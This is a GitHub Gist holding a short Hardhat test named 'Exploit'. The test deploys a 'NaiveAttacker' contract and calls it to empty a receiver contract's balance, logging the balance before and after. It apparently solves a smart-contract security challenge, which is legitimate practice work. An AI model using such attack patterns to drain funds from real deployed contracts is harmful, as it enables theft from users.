Created
August 15, 2022 05:47
-
-
Save 0xAnon101/be6cac0217c292b9e062bf2304bb48c6 to your computer and use it in GitHub Desktop.
exploit interface calling
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it("Exploit", async function () { | |
const naiveAttackerFactrory = await ethers.getContractFactory( | |
"NaiveAttacker", | |
attacker | |
); | |
const naiveAttacker = await naiveAttackerFactrory.deploy(this.pool.address); | |
// Attack | |
console.log( | |
"Receiver balance before attacking: ", | |
String(await ethers.provider.getBalance(this.receiver.address)) | |
); | |
await naiveAttacker.emptyReceiverBalance(this.receiver.address); | |
console.log( | |
"Receiver balance after attacking: ", | |
String(await ethers.provider.getBalance(this.receiver.address)) | |
); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment